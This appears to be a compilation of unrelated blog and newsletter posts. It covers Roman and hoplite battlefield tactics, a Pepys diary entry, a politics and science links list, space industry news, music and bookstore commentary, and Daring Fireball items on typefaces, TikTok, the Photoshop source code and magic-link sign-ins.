We can contrast what we’re told about the Battle of Zama, which gives us a very clear macro-scale battle lull, albeit an unusual one (Polyb. 15.13-14). Both armies are drawn up (after Roman fashion) in multiple battle lines; the first lines of the two armies, the Carthaginian mercenaries and the Roman hastati engage in a fierce close-combat fight, but separation doesn’t occur as a result of a macro-battle-pulse, it occurs because the mercenary line collapses after the failure of the Carthaginian second line to move up to support it (Polyb. 15.13.3-4; the impression is psychological collapse, as Polybius is noting the cheering and encouragement of the so-far entirely unengaged Roman second line as decisive). The mercenaries collapse into the main Carthaginian line, which does not admit them, leading to a mercenary-on-Carthaginian engagement in which the fleeing mercenaries are slaughtered by their employers (Polyb. 13.5-6), which in turn now leaves the field of gore and wreckage between the Romans and their enemies (Polyb. 14.1-2). Scipio doesn’t want to advance over that so – and this is the thing – “recalling those still pursuing of the hastati by trumpet” [emphasis mine] Scipio reforms his ranks (Polyb. 14.4).

What is significant to me here is that the disengagement of the hastati is not voluntary or automatic or natural, but in fact requires a trumpet signal: Scipio has to order an army-wide ‘pause’ in order to reorganize his units (really, he is ordering the ‘change out’ of the hastati as a way to halt their pursuit), which he can do in part because the peculiar situation where Hannibal (himself seemingly mimicking Roman tactics he has by this point so much experience with) has not yet committed his main line of infantry. This thus isn’t an organic ‘macro-lull’ so much as it is both armies attempting to the classic Roman hastati to principes line change, with the Romans doing it more successfully because their fussy tactical system creates lanes, whereas Hannibal needs his mercenaries to run all the way around his second (unbroken) line to get off of the field.

I think this episode should also give us some meaningful pause when trying to apply Roman tactical thinking outside of Roman contexts. The Roman system of maintaining multiple complete lines of heavy infantry, one in contact initially and two out of contact is, if not unique, certainly unusual. Likewise, a formation with wide, relatively regular intervals to enable the front battle line to be ‘changed out’ in a regular fashion is again, if not unique, highly unusual. Efforts to mimic that flexibility without the same complex and unusual tactical system often went badly, as with Hannibal’s mercenaries at Zama or, famously, the French dispositions at Agincourt, where an advanced cavalry force disrupted the two main lines of infantry attack15 as they advanced and then those lines, with no way to interchange, stacked up on each other to their ruin.

But it is also indicative of how unusual a ‘macro-lull’ was: this one only happens because Scipio Africanus gives an order to recall his front line as the enemy’s front ranks were breaking. Once again, the reason the armies end up separated after a ‘pulse’ of violence is not because that was the normal way these armies fought but because one general had specifically and somewhat unusually ordered it.

The other example of a large-scale macro-lull is equally instructive: Appian BC 3.68. Appian is describing an engagement between two veteran Roman legions at the Forum Gallorum (43 BC). Reading the passage, I think it is obvious we should not take the engagement as anything like typical: they fight in silence, no battle cries but also cries or shouts even as men were wounded and killed. Each man who falls is instantly replaced, every blow was supposedly on target. And in this context of a literary description of inhuman mechanical precision in battle, we’re told “when they were overcome by fatigue they drew apart from each other for a brief space to take breath, as in gymnastic games, and then rushed again to the encounter.” Immediately after that, we’re told the other soldiers present were taken by amazement at the sight and sound of it. It is a description that is clearly heavily embroidered, about a battle where Appian is writing nearly two centuries after the fact, about an army that is supposed to seem superhuman in its actions through the motif of presenting the soldiers as treating the battle like gymnastic games. I do not think we can draw secure conclusions about actual battlefield practice from such a passage alone.

After this, I should note, we swiftly begin running out of examples of clear ‘macro-lulls’ in Roman battles. Plenty of units being ‘pushed’ (discussed below) or collapsing under pressure or armies being flanked experiencing crowd collapse under continuous pressure (e.g. Cannae), but almost no examples of units engaging and then backing off and then moving back to re-engage.

The Roman Face of Battle And Implications for Hoplites

Summing all of this up, what do I think a Roman maniple engaging in pitched battle combat against heavy infantry looks like, given the evidence?

The attack begins with the volley of pila and it sure seems like usually any pila not thrown at this point are discarded, given how often we hear of pila being dropped without being thrown.16 We’ve already discussed the weapon and its performance and so need not belabor the point here.

The hastati follow this with a charge to contact with swords. A few things could happen at this point. One side could collapse, leading to rout and slaughter, of course. Alternately, both sides might stand firm: the Romans are heavily armored and have big shields and many of their opponents have big shields (if generally lighter armor) too, so a lot of strikes are going to not connect, or merely graze targets. Our ancient sources assume quite a lot of non-lethal, non-disabling wounding happening in these battles and we ought to believe them, given shields, armor, and movement. If both sides stay firm then after a few blows we might expect them to ‘accordion’ out to measure as men refuse to stay inside of the ‘killing zone’ a few feet wide running along the line, a ‘micro-lull’ in which the units are still in contact, but much of their front lines are not in measure.

On either side, the soldiers now need to move up to advance into measure in order to strike, but in this model they can do so with just a step or two. Because this is a formation with a regular order, the men in the front cannot simply drop back for fear – recall, they have sworn not to do so – and the eyes of their buddies are upon them, which is one of those things that can get men to fight when they might otherwise not, though one imagines many of the blows are very tentative and a high proportion of the total time here is spent watching and waiting. Sabin is right about that: it basically must be given the relatively low casualties in these periods and the fact that they might stretch on for many minutes even to an hour or more in some cases.

The men in the front are being cheered on by their fellows behind them and at least in the case of the Romans also urged forward by their centurions and it is this context where you get the micro-pulses: individuals or more likely groups of men push forward into measure for a concerted ‘push’ on the enemy line. They’re not literally shoving, of course, but simply moving aggressively into measure to attack – in the case of the Romans they have to move well into measure because they have swords and not spears, so they are relying on their heavy armor and big shield to absorb a strike from the enemy before they can reply. On the other hand, once they get through that range, they are significantly more lethal, better able to strike over or under an enemy’s shield and pierce armor. It’s a ‘high risk, high lethality’ tactical package that the Roman soldier carries, balanced with his heavier-than-typical armor and shield.

Now the enemy can do two things: they can hold firm against this ‘push’ or – seeing friends fall and feeling the danger – they can push back out of measure on their side, backing up to get space. This isn’t a rout yet, cohesion is not broken, they’re just going to back up into the empty space between them and the next man behind them and that man will then back up too to preserve space as the formation accordions in from the front, then accordions out again on the back. This probably isn’t a huge movement – it doesn’t need to be. A quick shuffle of a yard or two is enough to clear well out of measure. At which point the Romans can press again or stop at measure to stabilize.

Now what often happened, what Hannibal is counting on at Cannae, is that this process is going to repeat over and over again, steadily pushing a line backwards without breaking it. The Roman, after all, has the shorter range weapon – he must, on some level, advance or he has to endure ‘potshots’ from longer spears forever. And he can advance, trusting his large shield and heavy armor to absorb a blow or two from his enemy while he pushes into his own, shorter but more lethal measure. So when the enemy backs up, the Romans quickly – perhaps immediately – push right back into measure. A few more foes fall, the enemy backs up again. After all, his enemy lacks that heavy armor and big shield to be so confident in very close quarters and so will want to move away from the Roman with his deadly sword, back to spear’s reach. So long as cohesion holds, each localized ‘push’ is perhaps only gaining a few meters and neither side is breaking contact, but the line is bending and moving. Roman maniples can adapt well to that shifting line; the sarisa-phalanx cannot (thus Pydna).

In this sort of back and forth, I think we need to assume that wounded men (or utterly exhausted ones) can drop back through the ranks, but there’s clearly some shame in so doing, at least for the Romans (remember that oath). But there’s plenty of space with a Roman file width of c. 135cm. Heck, even at a conjectured hoplite phalanx’s 90cm, a hurt man could squeeze back – or be pulled back – by his comrades so long as the formation is hovering at the edge of measure rather than right up on the enemy. Cycling the front rank seems to have never been systematized, however, so I suspect the expectation is that many men in the front ranks will remain there through the whole fight if they’re not wounded.17

Because the line’s movement forward and back is driven mostly by psychology, it is a visible indicator of the more confident side – the side with confidence is pushing into measure, their opponents backing out. For many armies using contact weapons, there’s not much a general can do at this stage even if they see that their line is getting the worst of it, but Roman armies are unusually complex and so the Roman general has an option here if things don’t seem to be going well: he can sound that trumpet to recall the hastati. What I suspect happens here is that the men at the front are going to – still facing the enemy with shields up – quickly shuffle backwards (getting out of measure and moving to exit contact) while the velites (present in the gaps of the formation) shower javelins to give their opponents pause and then everyone breaks for the rear, passing through the intervals of the next line. The enemy cannot charge after them or they’ll run pell-mell into the well-ordered maniples of the principes and be butchered. Surely this must have entailed the loss of some of the hastati, but not many, I’d imagine, with the velites covering (and the velites, very lightly equipped, can easily flee an enemy’s heavy battle line).

The centurions rally the hastati in the safety of the space behind the principes, who now advance and the cycle repeats.

So micro-pulses but not macro-pulses: the lines once in contact don’t break that ‘loose’ contact except to flee, but they do ‘push’ and while there is no general pause in fighting, individually soldiers are not always swinging or being swung at.

What might that mean for a Greek hoplite phalanx? Well quite a few of these elements must substantially drop away. While the Greeks certainly have light infantry, as we’ve discussed they do not have integrated light infantry, nor the retreat lanes or tactical flexibility to use them in the way the Romans do; Greeks are not Romans. Equally, while the phalanx has a bunch of organizational units, it does not have a lot of maneuver units: the whole formation is supposed to move together. So the ability to maintain cohesion moving in and out of contact is going to be significantly less. And there is no way to change out entire battle lines, both because the phalanx is not built to do so and also because there is no second battle line waiting to rotate in any case.

But the other elements, I think, largely remain. No volley of pila (at least, not after the Archaic, but we must assume that earlier Archaic throwing spear fills a similar role to a pilum, a pre-charge volley weapon), but the hoplites charge to contact (as noted last time, either to measure or to impact). But they don’t start shoving, instead accordioning back out and then, as above, the micro-pulses: localized ‘pushes’ in sections of the line. In some cases, you might get the ‘pushing’ effect we see the Romans achieve although it is notable to me that it seems like hoplite armies achieve this effect less (though certainly not never!) and I suspect this is because everyone is working with a spear’s reach and thus a spear’s measure, so no one side is compelled (as the Romans are) to advance impetuously through an opponent’s measure, nor is one side (as Macedonians might) able to relentlessly push an enemy back from beyond their measure. But I don’t think the lines frequently disengaged in the Classical period, because we’re not told that they do so in any source I can think of and because the phalanx would be even less capable of doing a ‘macro-lull‘ than a Roman legion and it seems like the Roman legions almost never did them either.

The consequence of this model – micro-pulses but no macro-lulls – is to a degree to restore the role of heavy infantry as ‘shock’ based contact troops. These men – and I think this is true of hoplites as well – fight in formation, with assigned positions (or something very close to it) that they are expected to maintain for as long as they are able. Once they advance into contact, they do not expect to break contact until one side has won or lost the fight in that part of the line. But they do not stay permanently in measure swinging potentially lethal blows for an hour straight. Instead we might imagine an open space, roughly the width of measure (so a couple of meters), with men lunging or advancing forward to strike and then backing out. Every so often a concerted group of men will push into measure collectively. And sometimes their aggression causes the enemy to back up, leading to the ‘pushing’ effect we’re told about – which happens with no shoving.

But what they are not doing is backing out to go back to skirmishing. The reason so many javelin-wielding line infantry (archaic hoplites, Roman heavy infantry, Iberian and Celtiberian infantry) carry just one or two javelins is that they expect to hurl these immediately before contact to intensify the force of their onset and then not do any more throwing. If these units break contact, it is because they are routing or – in the Roman case only – because they have been recalled to reform behind the next line of heavy infantry. But heavy contact infantry are not skirmishers and so we should not try to extrapolate their behavior entirely from watching the fighting of Dani skirmishers in Papua New Guinea. Our sources resound with assertions and descriptions that heavy infantry worked differently on the battlefield than light infantry and that the two types were not interchangeable.

Hopefully that all clarifies my views on ‘pulses’ and ‘lulls.’ Micro-pulses? Yes. Macro-lulls? Only very rarely, in unusual circumstances.

Now as I write this, I am getting ready to fly out to attend the 2025 Prancing Pony Podcast Moot to deliver a keynote on the historical grounding of Tolkien’s view of war. Next week is also the week of Christmas. So there will be no post next week (the 26th), so we’ll be wrapping up our look at hoplites in the New Year.

Friday 19 December 1662

Up and by appointment with Mr. Lee, Wade, Evett, and workmen to the Tower, and with the Lieutenant’s leave set them to work in the garden, in the corner against the mayne-guard, a most unlikely place. It being cold, Mr. Lee and I did sit all the day till three o’clock by the fire in the Governor’s house; I reading a play of Fletcher’s, being “A Wife for a Month,” wherein no great wit or language. Having done we went to them at work, and having wrought below the bottom of the foundation of the wall, I bid them give over, and so all our hopes ended; and so went home, taking Mr. Leigh with me, and after drunk a cup of wine he went away, and I to my office, there reading in Sir W. Petty’s book, and so home and to bed, a little displeased with my wife, who, poor wretch, is troubled with her lonely life, which I know not how without great charge to help as yet, but I will study how to do it.

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Links 12/19/25

Links for you. Science:

Rare taxa modulate the emergence of dominants in microbial communities (very clever experiment!)
The Mystery of the Missing Porcupines
The Undermining of the C.D.C.
These very hungry microbes devour a powerful pollutant
Teens may have come up with a new way to detect, treat Lyme disease using CRISPR gene editing
One blind, aquatic salamander may have sat mostly still for seven years

Other:

FDA official proposes ‘impossible’ standards for vaccine testing that could curtail access to immunizations
RFK Jr.’s CDC panel: No more hepatitis B vaccine for some newborns. The CDC’s vaccine advisory panel, stocked with anti-vaccine activists and loyalists to RFK Jr., voted Friday to stop recommending a birth dose of vaccine.
Pipe bomb suspect told FBI he believed 2020 election conspiracy theories
Most immigrants arrested in Trump’s D.C. crackdown had no criminal records
Trump Gave the Tech Bros Everything. Why Are They Still Crashing Out?
A coordinated campaign to drive trans people out of public life
For Many Contractors, Losing ACA Subsidies Means Losing Health Care
U.S. reinstates all canceled library grants after court order
JD Vance Welcomes All Jews To Participate In Christmas
Angst Permeates D.C. Real Estate As Bowser’s Exit Clouds Mayor’s Race
Is Gen X Actually the Greatest Generation?
Under Kennedy, America’s Health Department Is in the Business of Promoting Kennedy
Wilson Building Bulletin: The Chuck Brown post office is no-go
US Institute of Peace renamed for Donald Trump despite legal battle
Leigh H. Mosley is documenting the legacy of D.C.’s Black lesbian elders
Americans More Likely to Accept Guidance from AMA than CDC on Vaccine Safety
Republicans in the era of Late Trumpism
The renamed ‘Donald J. Trump Institute of Peace’ hosts first event
DCPS middle-schoolers should be reading novels
Cloudflare Has Blocked 416 Billion AI Bot Requests Since July 1
“Rage bait” as Word of the Year? It’s a reason for hope
AI Slop Is Ruining Reddit for Everyone. Reddit is considered one of the most human spaces left on the internet, but mods and users are overwhelmed with slop posts in the most popular subreddits.
Olivia Nuzzi’s Much-Hyped Book Was Always Going to Be Self-Serving. It’s So Much Worse Than That.
RFK Jr. is very worried about anti-Christian bias at HHS…under Biden
Al Gore’s case for optimism
Vital Cat Update (this is about AI)
National parks change prioritizes Trump birthday over days honoring Black people
Mamdani Vows to Sweep Out Crackdowns on Homeless Camps
Eggs, Lies and Gasoline: The unbearable lightweightness of being Kevin Hassett (cubic model guy!)
Kash Patel ordered FBI detail to give girlfriend’s pal a lift home

Trump commits to Moon landing by 2028, followed by a lunar outpost two years later

A couple of hours after a judge formally swore in private astronaut Jared Isaacman as the next administrator of NASA on Thursday, President Donald Trump signed an executive order outlining his space policy objectives for the next three years.

The executive order, titled “Ensuring American Space Superiority,” states that the country must “pursue a space policy that will extend the reach of human discovery, secure the nation’s vital economic and security interests, unleash commercial development, and lay the foundation for a new space age.”

White House sets priorities

There is nothing Earth-shattering in the new executive order, as much of it builds on previously announced policies that span multiple administrations. There are some notable points in the document that clearly reflect the White House’s priorities, though, and Isaacman’s leadership of NASA.

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Russia is about to do the most Russia thing ever with its next space station

For several years now, in discussing plans for its human spaceflight program beyond the International Space Station, Russian officials would proudly bring up the Russian Orbital Station, or ROS.

The first elements of ROS were to launch in 2027 so it would be ready for human habitation in 2028. Upon completion in the mid-2030s, the station would encompass seven shiny new modules, potentially including a private habitat for space tourists. It would be so sophisticated that the station could fly autonomously for months if needed.

Importantly, the Russian station was also to fly in a polar orbit at about 400 km. This would allow the station to fly over the entirety of Russia, observing the whole country. It would be important for national pride because cosmonauts would not need to launch from Kazakhstan anymore. Rather, rockets launching from the country’s new spaceport in eastern Russia, the Vostochny Cosmodrome, would easily reach the ROS in its polar orbit.

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Two space startups prove you don’t need to break the bank to rendezvous in space

It may be happening quietly, but there is a revolution taking place with in-space transportation, and it opens up a world of possibilities.

In January, a small spacecraft built by a California-based company called Impulse Space launched along with a stack of other satellites on a Falcon 9 rocket. Upon reaching orbit, the rocket’s upper stage sent the satellites zipping off on their various missions.

And so it went with the Mira spacecraft built by Impulse, which is known as an orbital transfer vehicle. Mira dropped off several small CubeSats and then performed a number of high-thrust maneuvers to demonstrate its capabilities. This was the second flight by a Mira spacecraft, so Impulse Space was eager to continue testing the vehicle in flight.

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The Surprising Return of the Bookstore

Three years ago, I praised the new boss at Barnes & Noble—a man named James Daunt who actually loves books. Back then, he was already infusing new life in the struggling company, and I predicted good things to come.

They have now arrived in full force.

Barnes & Noble opened 57 new stores in 2024 and 58 in 2025. Plans are afoot to open 60 more stores in 2026, and list the company on the stock exchange.

This is a remarkable achievement. It’s happening in the face of eroding reading skills and the replacement of leisure reading with online distractions. Reading for pleasure is down 40% but Barnes & Noble is growing steadily. James Daunt must be some kind of culture superhero to succeed in this environment.

How does he do this?

Barnes & Noble building in Union Square in Manhattan (Source)

His goal is simple and straightforward: He wants to “make the bookstore as interesting and attractive as possible, and have within it friendly, informed booksellers who enjoyed their customers and their jobs.”

Daunt cares deeply about books and hires people who feel the same way. Then he enlists the support of booksellers in individual stores—who are given more freedom now to promote works they love. He even stopped taking promotional money in order to focus on the quality of the book instead of kickbacks from publishers.

This is how it’s done. Others in the culture business could learn from Daunt’s example.


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I’ve often praised Taylor Swift for how she deals with business issues—and even published an open letter to her, asking her to get more involved in these matters.

So I am happy to report that she has done me proud once again. She gave out $197 million in bonuses to her crew—not just the people on stage, but also truck drivers, caterers, lighting staff, and other workers behind the scenes.

That’s a meaningful portion of her bottom-line profits from her tour. I don’t believe any music star in history has done anything even close to this.

As many of you know, I believe in karma—and not just as a pop psychology concept. Karma exists and is embedded in the fabric of the universe. (I explained some of my thinking about this matter here. But I need to write about this in more detail in the future.) So it makes cosmic sense that the most generous performer in music is also the most successful in her own endeavors.

We will see a reverse example below—where I discuss the state of play at Billboard magazine.


Meanwhile, Swift’s ability to tap into new income streams continues to amaze me. For example, I saw this at the checkout counter of my local supermarket.


The absurd havoc produced by AI is a regular theme at The Honest Broker—and there is never a shortage of them. But the latest idiocy deserves its own reality show.

The farce began when Anthropic decided to test a vending machine powered by AI—which would manage inventory and prices, while responding smartly to consumer demand.

The company was so proud of its work that it asked the Wall Street Journal to test the machine in its own office.

That was a bad move. Here’s what happened next:

Within days, Claudius had given away nearly all its inventory for free—including a PlayStation 5 it had been talked into buying for “marketing purposes.” It ordered a live fish. It offered to buy stun guns, pepper spray, cigarettes and underwear….

The AI vending machine soon went broke—which might also happen to some of these AI companies in the near future.


I first warned that old music was killing new music in an article that went viral back in 2022. But the situation has gotten much worse since then. Old songs are now so popular that it’s an embarrassment to the music industry.

Billboard is so concerned about this that it has now changed the rules for inclusion on the Billboard chart. According to NPR:

Billboard has revised its system of removing songs from the Hot 100 singles chart once they’ve gotten too old to qualify as contemporary hits. The measure, intended to shorten the amount of time successful songs spend on the Hot 100, knocks 10 tracks off this week’s chart—including Swims’ “Lose Control,” which spent more than two years on the Hot 100.

I understand why Billboard is doing this. But it’s not a satisfying solution to the real problem. It merely pretends that our music culture isn’t stagnating.

What we really need is for the music industry to invest in developing new talent. The scene would look much brighter if major labels took a fraction of the money they spend on buying publishing rights to old songs, and focused that on emerging artists.

But they have no intention of doing that—so they deserve all the long-term problems they are creating for themselves.


By the way, one of those ugly problems just landed on Billboard’s doorstep.

And here’s a headline from today—possibly related to the above shenanigans.

Yes, karma is real….


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Almost twenty years ago, I started babbling about prehistoric cave art—and said that music scholars need to pay close attention to the acoustics in those caves. These vivid paintings are almost always located in the part of the cave with the greatest resonance. This tells me that singing and chanting took place in these locations.

Cave art from Lascaux in France (Source)

Now a seven-year study has proven this irrefutably.

“I was completely amazed,” says archaeologist and project leader Margarita Díaz-Andreu at the University of Barcelona, Spain, recalling her experiments at Valltorta gorge in eastern Spain. “Before the paintings, there was barely any reverberation, but as soon as we reached the paintings, the sound changed immediately.”

My hypothesis is that hunters gathered in front of these cave paintings in preparation for their expeditions. They sang here, and the acoustics created loud powerful sounds that gave them courage for the hunt—and also scared away larger animals, thus allow the humans to operate as scavengers.

This was, needless to say, the first rock music—surrounded by actual rocks.


I keep worrying about what tech is doing to our thinking and reading skills. But some businesses are already prepared.


That’s all for now. I’ll be back soon with more.

Condensed Serif Typefaces, à la Apple Garamond, Are Back in Vogue

Katie Deighton, reporting last month for The Wall Street Journal:

Henry Modisett wanted his employer to stand out. Competitors of the artificial-intelligence firm Perplexity were embracing their science-fiction roots with futuristic branding that felt cold to him. So Modisett, the firm’s vice president of design, looked to the past.

He plowed through graphic-design books and tomes of logos featuring obscure examples like Hungarian oil companies from the ’80s. But he kept coming back to a slender, bookish typeface famously used in Apple’s “Think Different” campaign. Modisett in 2023 began slipping a cousin of the font into Perplexity’s software and marketing materials.

“It felt fresh,” he said.

Not anymore.

Apple’s custom variant of ITC Garamond was called, appropriately enough, Apple Garamond. Apple adopted it in 1984 with the introduction of the Macintosh, and continued using it through the early years of the Aqua/iMac aesthetic. For me it evokes the pinnacle of the six-color era. For Apple’s brand identity and marketing materials, after Apple Garamond came Myriad — which Apple commissioned custom variants of from Adobe. And then Myriad was succeeded by San Francisco, which I suspect still has many years ahead of it. For the last 40 years Apple has only gone through three identity fonts: Garamond → Myriad → San Francisco.

That this style of font is back in vogue is fun. It’s a good look. Friendly. Serious but not staid. The typeface a lot of these brands are using for this today is Instrument Serif, which I don’t love. It’s not bad. But it’s not great. Apple Garamond was great.

(ITC Garamond — but not condensed — served, distinctively, as both the display and body text typeface for O’Reilly books in their heyday. That typeface doesn’t look or feel Apple-like at all, nor does Apple Garamond look or feel O’Reilly-like at all.)

 ★ 

Lawler: Another Strange NAR Reading on Northeast Median Sales Prices

Today, in the CalculatedRisk Real Estate Newsletter: Lawler: Another Strange NAR Reading on Northeast Median Sales Prices

Excerpt:
While today’s existing homes sales report from the National Association of Realtors didn’t contain many surprises, an exception was in the reported median existing home sales prices. The NAR report showed that the median existing home sales price (total and single-family) in November was up just 1.2% from a year earlier, well below both consensus and what local realtor/MLS data would have suggested. The source of this surprise was in the Northeast, where the NAR’s median existing home sales price estimate was up just 1.1% from last November, and the median existing single-family home sales price estimate was up only 0.9% YOY. Such an anemic gain was completely inconsistent with state realtor data from the Northeast, as the table below shows.
There is much more in the article.

Apple Is Adding More Ad Spots to App Store Results

Apple, on its Apple Ads site:

Search is the way most people find and download apps on the App Store, with nearly 65 percent of downloads happening directly after a search. To help give advertisers more opportunities to drive downloads from search results, Apple Ads will introduce additional ads across search queries. You don’t need to change your campaign in order to be eligible for any new positions. Your ad will run in either the existing position — at the top of search results — or further down in search results. If you have a search results campaign running, your ad will be automatically eligible for all available positions, but you can’t select or bid for a particular one.

The ad format will be the same in any position, using a default product page or custom product page, and an optional deep link. You’ll be billed as usual based on your pricing model: cost per tap or cost per install.

I have a bad feeling about this.

 ★ 

ByteDance Signs Deal to Divest U.S. TikTok App

David Shepardson, reporting for Reuters:

TikTok’s Chinese owner, ByteDance, said Thursday it signed binding agreements with three major investors to form a joint venture to operate TikTok’s U.S. app led by American and global investors in a bid to avoid a U.S. government ban, a significant step toward ending years of uncertainty.

The craziest aspect of this whole saga is that TikTok has been operating illegally since Trump took office. Not some sort of nitpicking technicality. The whole point of the PAFACA act was to ban TikTok in the US until and unless they were sold to American owners. No cloud service. No app store downloads. Trump directed the Justice Department simply not to enforce the law … and the biggest companies in the world just said OK, sure.

This just isn’t normal. There are always edge cases in the enforcement of any law. Political leanings affect priorities. Old laws are often ignored. But PAFACA was a brand new law, with bipartisan support, specifically written to target TikTok, and the Trump administration decided to just ignore it. This wouldn’t happen anywhere in Europe or in, say, Japan. And it wouldn’t have happened under any previous US administration, Democrat or Republican. It’s not the biggest issue or worst wrongdoing of the Trump 2.0 administration, but it’s clearest indication of their disregard for the rule of law.

See also: Techmeme’s roundup of news and commentary on the deal. (Karl Bode at Techdirt: “It’s Somehow The Shittiest Possible Outcome, Making Everything Worse”.)

 ★ 

Michael Bierut Told Us What He Really Thinks of ITC Garamond

Michael Bierut, “I Hate ITC Garamond”, for Design Observer back in 2004:

ITC Garamond was designed in 1975 by Tony Stan for the International Typeface Corporation. Okay, let’s stop right there. I’ll admit it: the single phrase “designed in 1975 by Tony Stan” conjures up a entire world for me, a world of leisure suits, harvest gold refrigerators, and “Fly, Robin, Fly” by Silver Convention on the eight-track. A world where font designers were called “Tony” instead of “Tobias” or “Zuzana.” Is that the trouble with ITC Garamond? That it’s dated?

Maybe. Typefaces seem to live in the world differently than other designed objects. Take architecture, for example. As Paul Goldberger writes in his new book on the rebuilding of lower Manhattan, Up From Zero, “There are many phases to the relationships we have with buildings, and almost invariably they come around to acceptance.” Typefaces, on the other hand, seem to work the other way: they are enthusiastically embraced on arrival, and then they wear out their welcome. Yet there are fonts from the disco era that have been successively revived by new generations. Think of Pump, Aachen, or even Tony Stan’s own American Typewriter. But not ITC Garamond.

The most distinctive element of the typeface is its enormous lower-case x-height. In theory this improves its legibility, but only in the same way that dog poop’s creamy consistency in theory should make it more edible.

I can’t explain how it is that I’ve never linked to this piece before.

 ★ 

Adobe Photoshop 1.0 Source Code

The Computer History Museum:

Thomas Knoll, a PhD student in computer vision at the University of Michigan, had written a program in 1987 to display and modify digital images. His brother John, working at the movie visual effects company Industrial Light & Magic, found it useful for editing photos, but it wasn’t intended to be a product. Thomas said, “We developed it originally for our own personal use … it was a lot a fun to do.”

Gradually the program, called “Display”, became more sophisticated. In the summer of 1988 they realized that it indeed could be a credible commercial product. They renamed it “Photoshop” and began to search for a company to distribute it. About 200 copies of version 0.87 were bundled by slide scanner manufacturer Barneyscan as “Barneyscan XP”.

The fate of Photoshop was sealed when Adobe, encouraged by its art director Russell Brown, decided to buy a license to distribute an enhanced version of Photoshop. The deal was finalized in April 1989, and version 1.0 started shipping early in 1990.

Along with the 1.0 source code (mostly Pascal, with some 68K assembler), CHM has PDFs of Adobe’s excellent Photoshop 1.0 User Guide and Tutorial. CHM trustee Grady Booch, chief scientist for software engineering at IBM Research Almaden, on the source code:

There are only a few comments in the version 1.0 source code, most of which are associated with assembly language snippets. That said, the lack of comments is simply not an issue. This code is so literate, so easy to read, that comments might even have gotten in the way. [...] This is the kind of code I aspire to write.

A little birdie who works at Adobe today told me, regarding the lack of comments, “Let me assure you, that trend continued for the next 35 years.”

Jason Snell, at Six Colors, notes:

The only shame is that this release doesn’t include the code from the MacApp applications library, which Photoshop used and is owned by Apple. It would sure be nice if Apple made that code available as well.

Says my little birdie, “Turns out Adobe got a perpetual license to MacApp and a heavily modified version of it is still the basis of the UI code. It is only recently starting to get replaced. Even more crazy is that parts of that MacApp code are running on iOS and Android and the web versions.”

Quite the legacy for what started as a personal project between two brothers.

 ★ 

Still No Release Date for Apple TV’s ‘The Savant’

Apple TV’s press page has stories this month announcing release dates and first looks for a bunch of shows: Imperfect Women (a “psychological thriller”), Beat the Reaper (“dreamed”), a still-untitled Monarch: Legacy of Monsters spinoff, Widow’s Bay (“blends genuine horror with character-driven comedy”), season 2 of the Idris Elba thriller Hijack, and Margo’s Got Money Troubles, a series from David E. Kelley starring Elle Fanning, Michelle Pfeiffer, Nicole Kidman, and Nick Offerman (good cast!).

But not a word about Jessica Chastain’s The Savant, which was supposed to be debut in September, was postponed after the Charlie Kirk shooting (against Chastain’s wishes), and has been in “At a later date” scheduling limbo ever since.

 ★ 

Anonymous Reddit Tipster Cracked the Brown University and MIT Shooting Cases

Alexander Smith and Claire Cardona, NBC News:

Online tipsters have had a mixed record when it comes to providing information about mass casualty incidents. But Rhode Island Attorney General Peter Neronha said this Reddit user “blew the case wide open” after posting about their encounter on Saturday with the suspect.

“I’m being dead serious,” wrote the Reddit user, identified in an affidavit as “John,” three days after the shootings at Brown. “The police need to look into a grey Nissan with Florida plates, possibly a rental.”

 ★ 

Apple Changes Processor Architectures More Often Than Its Identity Font

Yesterday I wrote:

For the last 40 years Apple has only gone through three identity fonts: Garamond → Myriad → San Francisco.

DF reader CM emailed to observe: “It strikes me that Apple changes CPU architectures (68K → PowerPC → Intel → ARM) more often than identity fonts. They’d sooner re-engineer their products’ deepest technical building blocks than change typefaces. I suspect that’s rare among tech companies.”

I wish I’d thought to mention that yesterday.

I’ll add that I suspect San Francisco might effectively be Apple’s “forever font”. Forever is a long time, but San Francisco, in its default appearance, strives for the sort of timelessness that Helvetica achieved. And San Francisco offers a wide (no pun intended) variety of widths and weights. This is San Francisco. This is too. (Screenshots for posterity, when Apple’s website changes: iPhone 17 Pro and iPhone Air.)

I also suspect that Apple Silicon is Apple’s “forever architecture”.

 ★ 

★ A Request Regarding ‘Magic Link’ Sign-Ins and Apple’s Passwords App

In Juli Clover’s aforelinked rundown of what’s new across the whole system in iOS 26.2, I misunderstood this item regarding the Passwords app:

In the Settings section of the Passwords app, there’s an option to manage websites where passwords are not saved when signing in.

This new setting is about managing sites that you have previously excluded from having a password entry saved. (In the Settings app, go to Apps → Passwords and then tap “Show Excluded Websites”.)

What I was hoping this was about is a feature Passwords doesn’t have, but that I want. There are many sites — and the trend seems to be accelerating — that do not use passwords (or passkeys) for signing in. Instead, they only support signing in via expiring “magic links” sent by email (or, sometimes, via text messages). To sign in with such a site, you enter your email address, hit a button, and the site emails you a fresh link that you need to follow to sign in.1 I despise this design pattern, because it’s inherently slower than signing in using an email/password combination that was saved to my passwords app and autofilled by my web browser. My password manager is Apple Passwords and my browser is Safari, but this is true for any good password manager and web browser. It’s not just a little slower but a lot slower to sign in with a “magic link”. It sometimes takes minutes for the email to arrive, and even in the best case, it takes at least 15 seconds or so. Saved-password autofill, on the other hand, happens instantly.2

To make matters worse, when you create a new account using a “magic link”, nothing gets saved to Apple Passwords. I don’t have many email addresses in active use, but I do have several. Sometimes I don’t remember which one I used for my account on a certain site. It doesn’t get autofilled by Apple Passwords because account entries in Apple Passwords require a password. I was hoping the above feature mentioned by Clover was a way to address this — that you could now enable a setting to get Passwords to save just your email address for websites and services that exclusively use “magic links” for signing in. No dice. Apple Passwords team, if you’re reading this, please give this some thought. I can’t be the only person irritated by this.

One workaround I’ve used for a few sites with which I keep running into this situation (Status, I’m looking in your direction) is to manually create an entry in Apple Passwords for the site with the email address I used to subscribe, and a made-up single-character password. Apple Passwords won’t let you save an entry without something in the password field, and a single-character password is a visual clue to my future self why I did this. When I do this, I also put a note to myself in the notes field for the entry. And by using just a single character for the made-up password, I can tell what I did even when the password is displayed using bullets to obscure its actual characters. (Screenshot.) If you feel like I do about “magic links”, the 🖕 emoji is a good “password” for such entries.

Once saved like this, my email address still doesn’t autofill on such sites in Safari, but the list of my saved email addresses in the suggestion list that appears when I click in the Email text field will have a “saved password” label next to the one for which I made this entry in Apple Passwords. This at least solves the problem when I can’t remember which address I used to create my account on a site.

